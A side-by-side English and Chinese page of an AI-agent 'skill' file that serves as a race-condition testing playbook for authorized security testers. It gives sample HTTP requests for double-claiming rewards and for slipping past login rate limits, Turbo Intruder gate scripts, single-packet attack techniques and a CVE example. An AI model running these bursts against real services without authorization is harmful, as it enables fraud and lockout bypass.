race-condition

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Race Conditions — Testing & Exploitation Playbook

SKILL: 竞态条件 — 测试与利用手册

AI LOAD INSTRUCTION: Treat race conditions as authorization/state integrity issues: non-atomic read-then-write lets multiple requests observe stale state. Prioritize one-time or balance-like operations. Combine parallel transport (HTTP/1.1 last-byte sync, HTTP/2 single-packet, Turbo Intruder gates) with application evidence (duplicate success responses, inconsistent balances, duplicate ledger rows). Authorized testing only. 中文路由:与「业务流程 / 优惠券 / 库存 / 一次性奖励」相关时,先读本 skill,并交叉加载
business-logic-vulnerabilities

AI加载说明:将竞态条件视为授权/状态完整性问题:非原子性的读-改-写流程会让多个请求读取到过时的状态。优先测试一次性类余额操作。结合并行传输(HTTP/1.1最后字节同步、HTTP/2单包、Turbo Intruder gate)与应用侧证据(重复成功响应、余额不一致、重复账本记录)。仅允许在授权范围内测试。 中文路由:与「业务流程 / 优惠券 / 库存 / 一次性奖励」相关时,先读本 skill,并交叉加载
business-logic-vulnerabilities

0. QUICK START — What to Test First

0. 快速入门 — 优先测试范围

Target endpoints where check and update are unlikely to be a single atomic database operation:
PriorityOperation classExample paths / parameters
1One-time redeem / coupon / bonus
redeem
,
apply_coupon
,
claim_reward
,
voucher
2Balance / quota / stock deduction
transfer
,
purchase
,
reserve
,
inventory
3Invite / referral / signup bonus
invite_accept
,
referral_claim
4Password / email / MFA verification
verify_token
,
confirm_email
,
reset_password
5Idempotent-looking APIs without strong keys
POST
that should succeed only once per user
First moves (conceptual):
  1. Capture the state-changing request in a proxy.
  2. Send 20–100 copies as simultaneously as your tooling allows.
  3. Classify outcome: 0/1 expected successes vs N successes or inconsistent final state.

优先测试检查更新不太可能是单原子数据库操作的端点:
优先级操作类型示例路径 / 参数
1一次性兑换 / 优惠券 / 奖励
redeem
,
apply_coupon
,
claim_reward
,
voucher
2余额 / 配额 / 库存扣减
transfer
,
purchase
,
reserve
,
inventory
3邀请 / 推荐 / 注册奖励
invite_accept
,
referral_claim
4密码 / 邮箱 / MFA验证
verify_token
,
confirm_email
,
reset_password
5无强密钥的看似幂等的API每个用户仅应成功执行一次的
POST
请求
初步操作思路
  1. 在代理工具中捕获状态变更请求。
  2. 尽可能同时发送20–100份相同请求。
  3. 对结果分类:预期0/1次成功 vs N次成功最终状态不一致

1. CORE CONCEPT

1. 核心概念

1.1 TOCTOU (Time-of-check to time-of-use)

1.1 TOCTOU (Time-of-check to time-of-use)

Thread A                    Thread B
   |                            |
   +-- CHECK (resource OK)      |
   |                            +-- CHECK (resource OK)  ← both see "OK"
   +-- USE / UPDATE             |
   |                            +-- USE / UPDATE           ← duplicate effect
TOCTOU means the decision (check) and the mutation (use) are not one indivisible step.
Thread A                    Thread B
   |                            |
   +-- CHECK (resource OK)      |
   |                            +-- CHECK (resource OK)  ← both see "OK"
   +-- USE / UPDATE             |
   |                            +-- USE / UPDATE           ← duplicate effect
TOCTOU指的是**决策(检查)变更(使用)**不是一个不可分割的步骤。

1.2 Non-atomic read-then-write

1.2 非原子性读-改-写

Typical vulnerable pseudo-flow:
text
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
    UPDATE accounts SET balance = balance - ? WHERE id = ?
Two concurrent requests can both pass the
if
before either
UPDATE
commits.
典型的漏洞伪流程:
text
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
    UPDATE accounts SET balance = balance - ? WHERE id = ?
两个并发请求都可以在任意一个
UPDATE
提交前通过
if
判断。

1.3 Database-level vs application-level locking gaps

1.3 数据库级与应用级锁漏洞

LayerWhat goes wrong
ApplicationIn-memory flag, cache, or session says "not used yet" while DB already updated — or the reverse.
ORM / serviceTwo instances, no distributed lock; each thinks it owns the decision.
DBMissing
SELECT … FOR UPDATE
, wrong isolation level, or logic split across multiple statements without transaction.
API gatewayPer-IP rate limit is check-then-increment — parallel burst passes duplicate checks.
Hint:
UNIQUE
constraints and idempotency keys often eliminate entire bug classes — test whether the app enforces them on the hot path.

层级常见问题
应用层内存标记、缓存或会话显示「尚未使用」但数据库已更新,反之亦然。
ORM / 服务层多实例无分布式锁,每个实例都认为自己拥有决策权。
数据库层缺少
SELECT … FOR UPDATE
、隔离级别错误,或逻辑拆分到多个未加事务的语句中。
API网关层单IP速率限制是先检查后递增逻辑,并行突发请求可以绕过重复检查。
提示
UNIQUE
约束和幂等键通常可以消除整类漏洞——测试应用是否在热点路径上强制执行了这些规则。

2. ATTACK PATTERNS

2. 攻击模式

2.1 Limit-overrun (double redeem / double claim)

2.1 超限漏洞(重复兑换 / 重复领取)

Send the same authenticated request many times in parallel:
http
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json

{"reward_id":"welcome_bonus"}
Success signal: HTTP
200
/
201
more than once, duplicate ledger entries, or balance higher than policy allows.
并行发送多次相同的已认证请求:
http
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json

{"reward_id":"welcome_bonus"}
成功标识:HTTP
200
/
201
返回超过一次、重复的账本记录、余额超出规则允许的上限。

2.2 Rate-limit bypass via simultaneity

2.2 基于并发的速率限制绕过

If limits are implemented as counters checked per request without atomic increment:
http
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json

{"email":"victim@example.com","password":"wrong"}
Fire N parallel attempts in one wave; compare with N sequential attempts.
Success signal: more failures accepted than documented cap, or lockout never triggers when burst completes inside one window.
如果速率限制实现为每个请求先检查计数器而非原子递增:
http
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json

{"email":"victim@example.com","password":"wrong"}
一次性发送N个并行请求,与N个顺序请求的结果对比。
成功标识:接受的失败请求数超过文档规定的上限,或突发请求在一个窗口内完成时从未触发锁定。

2.3 Multi-step exploitation (beat the pipeline)

2.3 多步骤利用(突破流程管线)

Workflow:
create → pay → confirm
. If confirm does not cryptographically bind to pay completion:
  1. Start two parallel pipelines from the same session/item.
  2. Complete confirm on channel B while pay on channel A is still in-flight or abandoned.
Success signal: item marked paid/shipped without matching payment, or state skips backward.

工作流:
create → pay → confirm
。如果confirm步骤未与pay完成状态做密码学绑定:
  1. 同一会话/商品启动两个并行流程。
  2. 当通道A的pay还在处理中或已放弃时,在通道B完成confirm步骤。
成功标识:商品被标记为已支付/已发货但没有对应支付记录,或状态发生回退。

3. HTTP/1.1 LAST-BYTE SYNCHRONIZATION

3. HTTP/1.1 最后字节同步

Idea: Hold all requests blocked until every socket has sent the full request except the last byte of the body; then release the final byte together so the server receives them in a tight cluster.
text
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+
Why: Reduces network jitter between copies compared to naive sequential paste in Repeater.
Tooling: Custom scripts, some Burp extensions, or Turbo Intruder
gate
pattern (see §5) as the practical stand-in for synchronized release.

思路:将所有请求阻塞,直到每个套接字都发送了除请求体最后一个字节外的全部内容;然后同时释放最后一个字节,让服务器在极短时间内接收到所有请求。
text
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+
优势:与Repeater中简单顺序粘贴发送相比,减少了请求副本之间的网络抖动。
工具支持:自定义脚本、部分Burp扩展,或Turbo Intruder
gate
模式(见第5节)可作为同步发送的实用替代方案。

4. HTTP/2 SINGLE-PACKET ATTACK

4. HTTP/2 单包攻击

Idea: Multiplex several complete HTTP/2 streams and coalesce their frames so the first bytes of all requests exit the NIC in one TCP segment (or minimally separated). Receiver-side scheduling then processes them with sub-millisecond spacing.
Burp Repeater (modern workflows):
  1. Open multiple tabs or select multiple requests.
  2. Use Send group (parallel) / single-packet attack where available.
  3. Prefer HTTP/2 to the target if supported.
text
  [ Req A stream ]
  [ Req B stream ]  --HTTP/2-->  one burst -->  app worker pool
  [ Req C stream ]
Why it often beats HTTP/1.1 last-byte tricks: tighter alignment on the wire; less dependence on per-connection serialization.

思路:多路复用多个完整的HTTP/2流,将它们的帧合并,让所有请求的首字节在同一个TCP段(或间隔极小)中从网卡发出。接收端调度会以亚毫秒级间隔处理这些请求。
Burp Repeater(现代工作流)
  1. 打开多个标签页或选中多个请求。
  2. 可用时使用Send group (parallel) / single-packet attack功能。
  3. 如果目标支持,优先使用HTTP/2。
text
  [ Req A stream ]
  [ Req B stream ]  --HTTP/2-->  one burst -->  app worker pool
  [ Req C stream ]
为何通常优于HTTP/1.1最后字节技巧:网络上的对齐更紧密,对单连接序列化的依赖更低。

5. TURBO INTRUDER TEMPLATES

5. TURBO INTRUDER 模板

Repository: PortSwigger/turbo-intruder (Burp Suite extension).
仓库:PortSwigger/turbo-intruder(Burp Suite扩展)。

5.1 Template 1 — Same endpoint, gate release

5.1 模板1 — 同端点,gate同步释放

Settings:
concurrentConnections=30
,
requestsPerConnection=30
, use a gate so all threads fire together.
Core pattern (repeat N times, then release):
python
for _ in range(N):
    engine.queue(request, gate='race1')
engine.openGate('race1')
python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
Header requirement (unique per queued copy for log correlation; Turbo Intruder payload placeholder):
http
x-request: %s
Turbo Intruder replaces
%s
per request when paired with a wordlist (or other payload source) — keep this header on the base request in Repeater before sending to Turbo Intruder. Case-insensitive for HTTP; use a consistent name for log grep.
配置
concurrentConnections=30
,
requestsPerConnection=30
,使用gate让所有线程同时发起请求。
核心模式(重复N次入队,然后释放):
python
for _ in range(N):
    engine.queue(request, gate='race1')
engine.openGate('race1')
python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
头部要求(每个入队副本唯一,用于日志关联;Turbo Intruder payload占位符):
http
x-request: %s
Turbo Intruder会在搭配字典(或其他payload源)时为每个请求替换
%s
——发送到Turbo Intruder前,请在Repeater的基础请求中保留这个头部。HTTP不区分大小写,使用统一的名称方便日志检索。

5.2 Template 2 — Multi-endpoint, same gate

5.2 模板2 — 多端点,同gate同步

Pattern: One POST to target-1 (state change) plus many GETs to target-2 (read side) released together to widen the TOCTOU window observation.
python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    engine.queue(post_to_target1, gate='race1')
    for _ in range(30):
        engine.queue(get_target2, gate='race1')

    engine.openGate('race1')
Adjust hosts/paths by duplicating
RequestEngine
instances if endpoints differ (Turbo Intruder supports multiple engines — consult upstream docs for your Burp version).

模式:一个发往target-1POST请求(状态变更)加上多个发往target-2GET请求(读侧)同时释放,扩大TOCTOU窗口的观测范围。
python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    engine.queue(post_to_target1, gate='race1')
    for _ in range(30):
        engine.queue(get_target2, gate='race1')

    engine.openGate('race1')
如果端点不同,可通过复制
RequestEngine
实例调整主机/路径(Turbo Intruder支持多引擎——请参考对应Burp版本的官方文档)。

6. CVE REFERENCE — CVE-2022-4037

6. CVE参考 — CVE-2022-4037

CVE-2022-4037 (GitLab CE/EE): race condition leading to verified email address forgery and risk when the product acts as an OAuth identity provider — third-party account linkage/impact scenarios. CWE-362. Demonstrated in public research with HTTP/2 single-packet style timing to win narrow windows.
Takeaway for testers: email verification, OAuth linking, and "confirm ownership" flows are high-value race targets — not only coupons and balances.
References (official / neutral):

CVE-2022-4037(GitLab CE/EE):竞态条件导致已验证邮箱地址伪造,当产品作为OAuth身份提供商时存在风险——会影响第三方账号关联场景。CWE-362。公开研究中演示了使用HTTP/2单包时序技巧突破窄窗口的案例。
测试人员要点:邮箱验证、OAuth关联和「确认所有权」流程都是高价值竞态目标——不止是优惠券和余额。
参考资料(官方/中立)

7. TOOLS

7. 工具

ToolRole
PortSwigger/turbo-intruderHigh-concurrency replay, gates, scripting in Burp.
JavanXD/RaceocatRace-focused HTTP client patterns (verify compatibility with your stack).
nxenon/h2spacexHTTP/2 low-level / single-packet style experimentation (use responsibly, authorized targets only).
Burp Suite — RepeaterSend group (parallel) / single-packet attack for multi-request synchronization.

工具作用
PortSwigger/turbo-intruder高并发重放、gates机制、Burp内脚本支持。
JavanXD/Raceocat专注竞态场景的HTTP客户端模式(请验证与你的技术栈的兼容性)。
nxenon/h2spacexHTTP/2底层/单包风格实验工具(请负责任使用,仅针对授权目标)。
Burp Suite — RepeaterSend group (parallel) / single-packet attack功能用于多请求同步。

8. DECISION TREE

8. 决策树

text
                         START: state-changing API?
                                    |
                     NO -----------+---------- YES
                      |                        |
                   stop here              one-time / balance / verify?
                                                    |
                          +-------------------------+-------------------------+
                          |                         |                         |
                    coupon-like                 rate limit                  multi-step
                          |                         |                         |
                   parallel same req          parallel vs serial         parallel pipelines
                          |                         |                         |
                   duplicate success?           limit exceeded?          state mismatch?
                     /       \                    /       \                  /       \
                   YES       NO                 YES       NO               YES       NO
                    |         |                  |         |                |         |
              report +    try HTTP/2        report +    try TI        report +   deepen
              evidence    single-packet      evidence    gates                     per-step
                    |         |                  |         |                |         |
                    +----+----+                  +----+----+                +----+----+
                         |                            |                          |
                    tool pick                    tool pick                  tool pick
                         v                            v                          v
              Burp group / h2spacex            TI gates / Raceocat          TI + trace IDs
How to confirm (evidence checklist):
  1. Reproducible duplicate success under parallelism, not flaky single retries.
  2. Server-side artifact: two rows, two emails, two grants, or wrong final balance.
  3. Correlate with
    x-request
    (or similar) markers or unique body fields in logs (authorized environments).
中文路由小结:若场景更偏「业务规则 / 定价 / 工作流跳过」,加载
skills/business-logic-vulnerabilities/SKILL.md
;本文件专注 并发与传输层同步

text
                         START: state-changing API?
                                    |
                     NO -----------+---------- YES
                      |                        |
                   stop here              one-time / balance / verify?
                                                    |
                          +-------------------------+-------------------------+
                          |                         |                         |
                    coupon-like                 rate limit                  multi-step
                          |                         |                         |
                   parallel same req          parallel vs serial         parallel pipelines
                          |                         |                         |
                   duplicate success?           limit exceeded?          state mismatch?
                     /       \                    /       \                  /       \
                   YES       NO                 YES       NO               YES       NO
                    |         |                  |         |                |         |
              report +    try HTTP/2        report +    try TI        report +   deepen
              evidence    single-packet      evidence    gates                     per-step
                    |         |                  |         |                |         |
                    +----+----+                  +----+----+                +----+----+
                         |                            |                          |
                    tool pick                    tool pick                  tool pick
                         v                            v                          v
              Burp group / h2spacex            TI gates / Raceocat          TI + trace IDs
确认方法(证据清单)
  1. 并行场景下可复现的重复成功,不是不稳定的单次重试导致。
  2. 服务端留存的痕迹:两条记录、两封邮件、两次授权、或错误的最终余额。
  3. (授权环境下)与日志中的
    x-request
    (或类似)标记或请求体中的唯一字段关联验证
中文路由小结:若场景更偏「业务规则 / 定价 / 工作流跳过」,加载
skills/business-logic-vulnerabilities/SKILL.md
;本文件专注 并发与传输层同步

Related

相关内容

  • business-logic-vulnerabilities — workflow, coupon abuse, and logic-first checklists (
    ../business-logic-vulnerabilities/SKILL.md
    ).
  • business-logic-vulnerabilities — 工作流、优惠券滥用和逻辑优先检查清单 (
    ../business-logic-vulnerabilities/SKILL.md
    )。